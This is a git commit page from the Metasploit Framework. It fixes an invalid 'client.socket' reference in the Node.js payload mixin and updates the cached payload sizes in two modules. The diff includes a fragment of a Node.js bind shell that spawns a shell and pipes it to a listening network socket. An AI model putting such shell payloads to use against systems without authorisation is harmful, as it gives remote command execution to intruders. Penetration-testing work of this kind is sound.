remove invalid 'client' object reference in nodejs

fix #9063 by removing invalid object reference introduced in PR #8825
bug/bundler_fix
Jeffrey Martin 2017-10-11 11:09:28 -05:00
parent e976a91b15
commit b76c1f3647
No known key found for this signature in database
GPG Key ID: 0CD9BBC2AF15F171
3 changed files with 6 additions and 6 deletions

View File

@ -19,11 +19,11 @@ module Msf::Payload::NodeJS
var sh = cp.spawn(cmd, []);
socket.pipe(sh.stdin);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
sh.stdout.pipe(socket);
sh.stderr.pipe(socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
util.pump(sh.stdout, socket);
util.pump(sh.stderr, socket);
}
});
server.listen(#{datastore['LPORT']});

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 2351
CachedSize = 2239
include Msf::Payload::Single
include Msf::Payload::NodeJS

View File

@ -13,7 +13,7 @@ require 'msf/base/sessions/command_shell'
module MetasploitModule
CachedSize = 583
CachedSize = 555
include Msf::Payload::Single
include Msf::Payload::NodeJS